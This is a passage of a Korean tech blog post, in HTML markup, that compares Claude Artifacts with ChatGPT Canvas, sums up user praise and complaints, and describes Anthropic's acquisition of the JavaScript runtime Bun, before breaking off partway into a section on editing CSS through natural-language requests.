&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #0066cc;&quot;&gt;&lt;b&gt;렌더링 우선 (Render-first)&lt;/b&gt;&lt;/span&gt; &amp;mdash; 결과물이 라이브 웹 앱으로 즉시 표시&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;코드 에디터 우선 (Code-editor-first) &amp;mdash; 코드 편집 후 선택적 미리보기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;라이브 프리뷰&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;HTML/CSS/JS/React를 사이드 패널에서 실시간 렌더링&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;2025년 1월부터 HTML/React 렌더링 지원 (일부 불안정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;React 지원&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;React 18 + Hooks + 상태 관리 + 내장 라이브러리 완전 지원&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;React 렌더링 가능하나, 크래시 버그가 더 빈번&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;데이터 시각화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Recharts, Chart.js, D3.js 등으로 인터랙티브 차트 생성&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Python(Matplotlib) 기반 정적 이미지가 기본, 일부 호버 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;인라인 편집&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;프롬프트로 재생성 (전체 코드 재작성 경향)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #0066cc;&quot;&gt;&lt;b&gt;Canvas의 강점&lt;/b&gt;&lt;/span&gt; &amp;mdash; 하이라이트 후 부분 수정 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;퍼블리시/배포&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;내장 퍼블리시&lt;/b&gt;&lt;/span&gt; (Share &amp;rarr; Publish 2클릭), 공유 URL, 임베드 코드 지원&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;네이티브 퍼블리시 기능 없음, 수동 복사 후 배포 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;AI-Powered 앱&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Artifact가 Claude API를 호출하는 AI 앱 생성 가능&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Canvas에서는 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;가격 ($20/월 기준)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Claude Pro $20/월&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;ChatGPT Plus $20/월&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://xsoneconsultants.com/blog/chatgpt-canvas-vs-claude-artifacts/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;XsOne Consultants 비교 분석&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.aifire.co/p/detailed-comparison-for-interactive-tools-canvas-or-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AIFire 비교 분석&lt;/a&gt; 등 서드파티 비교 기반. Anthropic 또는 OpenAI의 공식 비교 문서는 존재하지 않음.)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Simon Willison의 조언 (2025년 12월)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude, ChatGPT, Gemini 세 플랫폼 모두 간단한 HTML+JS 앱을 빌드하고 미리보기할 수 있다. 그러나 React 기반 출력물은 추출하기 어렵고 버그가 더 많으므로, 프롬프트에 &lt;b&gt;&quot;No React&quot;&lt;/b&gt;를 명시하는 것을 권장한다. 이는 Claude, ChatGPT, Gemini 모두에 해당하는 조언이다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 5px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://simonwillison.net/2025/Dec/10/html-tools/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Simon Willison - Useful patterns for building HTML tools&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;배포 기능의 결정적 차이&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;가장 큰 차별점은 &lt;b&gt;배포(Deployment)&lt;/b&gt;다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;클로드:&lt;/b&gt; Artifact 우측 상단의 &lt;b&gt;'Share(공유)' 버튼&lt;/b&gt;을 클릭한 뒤, 팝업에서 &lt;b&gt;'Publish &amp;amp; Copy Link'&lt;/b&gt;를 누르면 공개 URL이 생성된다. 누구나 링크만으로 접근 가능하고, Claude 계정이 있으면 &lt;b&gt;'Customize'(리믹스)&lt;/b&gt;하여 자기 버전으로 수정할 수 있다. 임베드 코드도 제공된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;ChatGPT:&lt;/b&gt; Canvas에서 생성된 코드를 수동으로 복사/다운로드한 뒤 별도로 배포해야 한다. 네이티브 퍼블리시 기능은 없다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://support.claude.com/en/articles/9547008-publishing-and-sharing-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Help Center: Publishing and sharing artifacts&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티 현장 반응 &amp;mdash; 찬사와 불만 모두&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;컴뮤니티 내용을 종합하면, Artifacts에 대한 반응은 &lt;b&gt;&quot;진짜 마법 같다, 근데 한계가 답답하다&quot;&lt;/b&gt;로 요약된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;긍정적 반응:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;뱀 게임 만들어줘&quot; &amp;rarr; 10초 만에 플레이 가능:&lt;/b&gt; Canvas가 코드만 보여줄 때, Artifacts는 우측 패널에서 바로 게임이 돌아간다. 이 차이를 경험한 사람들이 &quot;게임 체인저&quot;라고 부른다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;비개발자의 즉시 프로토타이핑:&lt;/b&gt; 교사가 수학 시각화를 만들고, 마케터가 랜딩페이지를 뽑고, 기획자가 인터랙티브 대시보드를 만든 사례가 Reddit에 꾸준히 올라온다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;2026년 3월 인라인 시각화:&lt;/b&gt; TechRadar는 이 기능을 &lt;b&gt;&quot;가장 재미있는 AI 트릭 중 하나&quot;&lt;/b&gt;라고 평가했다. 대화 흐름 안에서 차트가 자연스럽게 나타나는 경험이 기존 사이드 패널과 확실히 다르다는 반응이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.techradar.com/ai-platforms-assistants/claude/i-tried-claudes-new-interactive-visuals-feature-and-its-one-of-the-most-fun-ai-tricks-ive-seen&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechRadar: I tried Claude's new interactive visuals&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;부정적 반응 &amp;mdash; 솔직한 불만들:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;작은 수정인데 전체를 다시 쓴다&quot;:&lt;/b&gt; 가장 많이 반복되는 불만이다. 한 줄 고쳐달라고 했는데 전체 Artifact를 재생성하면서 잘 되던 부분까지 바뀌어 버린다. 2025년 10월에 인라인 텍스트 교체 방식으로 &lt;b&gt;3~4배 빨라진 업데이트&lt;/b&gt;가 적용됐지만, 여전히 &quot;덮어쓰기&quot; 방식에 대한 불만은 남아 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;샌드박스가 너무 빡빡하다&quot;:&lt;/b&gt; 외부 API를 호출하거나 CDN에서 라이브러리를 자유롭게 가져올 수 없다. &quot;장난감 만들기엔 좋은데, 실제 데이터를 불러오는 프로토타입은 못 만든다&quot;는 의견이 r/ClaudeAI에서 반복적으로 등장한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;Artifact가 갑자기 사라진다&quot;:&lt;/b&gt; 예고 없이 Artifact가 날아가서 토큰을 낭비하며 다시 만들어야 하는 경우가 보고된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;모바일에서는 거의 못 쓴다&quot;:&lt;/b&gt; 데스크톱에서는 잘 돌아가지만, 모바일에서 렌더링이 깨지거나 기능이 제한된다는 불만이 꾸준하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;사용량 제한:&lt;/b&gt; 유료 구독자도 프로젝트 중간에 &quot;Opus 차단&quot; 메시지를 받는다는 불만이 Pro 사용자 사이에서 가장 빈번한 불만 1위로 꼽힌다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://medium.com/@intranetfactory/claude-artifacts-a-game-changer-held-back-by-frustrating-limits-6adcacdd95a7&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Martin Amm: &quot;A Game-Changer Held Back by Frustrating Limits&quot;&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://p0stman.com/guides/claude-artifacts-limitations&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;P0stman: Claude Artifacts Limitations&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;용도별 커뮤니티 평가 요약&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0 0 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border-bottom: 2px solid #ffc107;&quot;&gt;용도&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border-bottom: 2px solid #ffc107;&quot;&gt;평가&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;프론트엔드/시각화&lt;/td&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;&lt;span style=&quot;color: #0066cc;&quot;&gt;&lt;b&gt;Artifacts 우세&lt;/b&gt;&lt;/span&gt; &amp;mdash; 라이브 렌더링이 결정적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;정밀한 코드 편집&lt;/td&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Canvas 우세&lt;/b&gt;&lt;/span&gt; &amp;mdash; 하이라이트 후 부분 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;데이터 분석&lt;/td&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;ChatGPT 우세&lt;/b&gt;&lt;/span&gt; &amp;mdash; Code Interpreter(Python 실행) 강점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;프로덕션 앱 빌드&lt;/td&gt;
&lt;td style=&quot;padding: 8px;&quot;&gt;&lt;b&gt;Lovable/Bolt/v0 영역&lt;/b&gt; &amp;mdash; Artifacts는 프로토타입용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;바이브 코딩 도구와의 비교 &amp;mdash; Artifacts의 포지션&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Lovable, Bolt.new, v0(Vercel)와 같은 전문 바이브 코딩 플랫폼이 빠르게 성장하면서, Artifacts가 이 시장에서 어떤 위치인지 궁금해하는 사람이 많다. 결론부터 말하면 &lt;b&gt;경쟁 관계가 아니라 용도가 다르다.&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Artifacts:&lt;/b&gt; 대화 안에서 즉석으로 만드는 &lt;b&gt;단일 파일 프로토타입&lt;/b&gt;. 아이디어 검증, 시각화, 교육용에 적합&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Lovable/Bolt/v0:&lt;/b&gt; 프론트엔드 + 백엔드 + DB + 배포를 한 번에 해결하는 &lt;b&gt;풀스택 앱 빌더&lt;/b&gt;. MVP나 프로덕션 앱을 빌드할 때 적합&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한 비교 분석에 따르면, Lovable, Bolt, v0 모두 생성된 코드의 &lt;b&gt;40~45% 취약점 비율&lt;/b&gt;을 보이며, 어떤 도구를 쓰든 보안 리뷰는 필수다. Artifacts든 Lovable이든 &quot;AI가 만들었으니 안전하겠지&quot;는 위험한 가정이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://p0stman.com/compare/lovable-vs-claude-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;P0stman: Lovable vs Claude Artifacts&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://particula.tech/blog/lovable-vs-bolt-vs-v0-ai-app-builders&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Particula: Lovable vs Bolt vs v0 2026&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: 생성 코드의 보안&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;AI가 생성한 코드를 프로덕션에 배포할 때는 반드시 보안 리뷰를 거쳐야 한다. 이 문제는 클로드뿐만 아니라 &lt;b&gt;모든 AI 코딩 도구&lt;/b&gt;에 해당한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5: Bun 인수 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. Bun 인수&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;인수 배경과 타임라인&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2025년 12월&lt;/b&gt;, Anthropic은 자바스크립트 런타임 혁신 기업 &lt;b&gt;Oven(Bun의 모회사)&lt;/b&gt;을 인수했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 인수가 발표된 시점은 Claude Code가 2025년 11월 &lt;b&gt;연간 환산 매출(run-rate revenue) 10억 달러&lt;/b&gt;를 달성한 직후였다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Anthropic acquires Bun as Claude Code reaches $1B milestone&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Bun이란?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Bun은 Jarred Sumner가 2021년에 만든 올인원 JavaScript/TypeScript 툴킷이다. &lt;b&gt;런타임 + 패키지 매니저 + 번들러 + 테스트 러너&lt;/b&gt;를 하나로 통합했다. Apple의 JavaScriptCore 엔진을 사용하여 Node.js보다 빠른 시작 시간과 낮은 메모리 사용량을 자랑한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;인수 시점 기준: 월 700만+ 다운로드, GitHub 스타 82,000+&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;사용 기업: Midjourney, Lovable 등&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기술적 의미&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic의 공식 발표에 따르면:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;i&gt;&quot;Anthropic은 획기적인 자바스크립트 런타임인 Bun을 인수하여 Claude Code를 더욱 가속화한다.&quot;&lt;/i&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;i&gt;&quot;Claude Code 사용자에게 이 인수는 더 빠른 성능, 향상된 안정성, 새로운 기능을 의미한다.&quot;&lt;/i&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Anthropic acquires Bun as Claude Code reaches $1B milestone&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Bun 창시자 Jarred Sumner의 발표에 따르면:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;i&gt;&quot;Anthropic은 Bun을 Claude Code, Claude Agent SDK, 그리고 미래의 AI 코딩 제품과 도구를 구동하는 인프라로 투자하고 있다.&quot;&lt;/i&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Bun은 &lt;b&gt;4년 이상의 운영 자금&lt;/b&gt;이 있어 매각할 필요가 없었지만, Anthropic과 합류하면 수익화 고민을 건너뛸 수 있다고 밝혔다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Bun은 &lt;b&gt;MIT 라이선스로 오픈소스를 유지&lt;/b&gt;한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://bun.com/blog/bun-joins-anthropic&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bun Blog: Bun is joining Anthropic&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Claude Code와의 관계&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude Code는 이미 Bun 위에서 실행된다.&lt;/b&gt; 구체적으로:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Claude Code의 기술 스택: &lt;b&gt;TypeScript + React + Ink(터미널 UI) + Yoga(Meta 레이아웃 엔진) + Bun&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Bun의 &lt;b&gt;단일 실행 파일(Single-file executable)&lt;/b&gt; 컴파일 기능으로 Claude Code가 배포됨&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Bun이 Webpack/Vite보다 빠른 빌드 속도를 제공하여 Claude Code의 빌드 프로세스를 대체&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://newsletter.pragmaticengineer.com/p/how-claude-code-is-built&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Pragmatic Engineer: How Claude Code is built&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: Artifacts와 Bun의 관계&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Bun이 &lt;b&gt;Claude Code&lt;/b&gt;의 런타임/빌드 도구로 사용되는 것은 공식적으로 확인된 사실이다. 그러나 Bun이 &lt;b&gt;Claude.ai 웹 인터페이스의 Artifact 렌더링&lt;/b&gt;에 사용되는지는 공식 확인되지 않았다. Artifacts는 브라우저의 샌드박스된 iframe에서 클라이언트 사이드로 실행되는 것으로 알려져 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;어쨌든, Bun 인수가 Anthropic이 &lt;b&gt;자바스크립트 생태계에 크게 베팅했다&lt;/b&gt;는 신호인 건 분명하다. GitHub의 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/oven-sh/bun/issues/25929&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;이슈 #25929&lt;/a&gt;에는 &quot;Bun as a secure sandbox runtime for AI agent code execution&quot;이라는 제목의 논의가 진행 중이며, Bun을 AI 에이전트가 코드를 안전하게 돌리는 런타임으로 키우겠다는 방향성이 보인다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: CSS 수정 마법 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 자연어 한마디로 CSS가 수정되는 마법???&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Bun 인수 이야기는 잠시 제쳐두고, 사용자 입장에서 더 와닿는 건 &lt;b&gt;'실시간 수정'&lt;/b&gt;이다. DevTools도 필요 없고, 코드를 직접 건드릴 필요도 없다. &lt;b&gt;말로 하면 된다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;예를 들어, 시각화된 차트의 숫자가 너무 작아 보이지 않는 '라벨 버그'가 발생했다고 하자:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;초기 렌더링:&lt;/b&gt; 클로드가 포트폴리오 파이차트를 생성했으나 비중 라벨이 너무 작아 식별 불가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;자연어 명령:&lt;/b&gt; &quot;비중 부분이 너무 작아서 안 보여. 간을 넓혀줘.&quot;&lt;/li&gt;
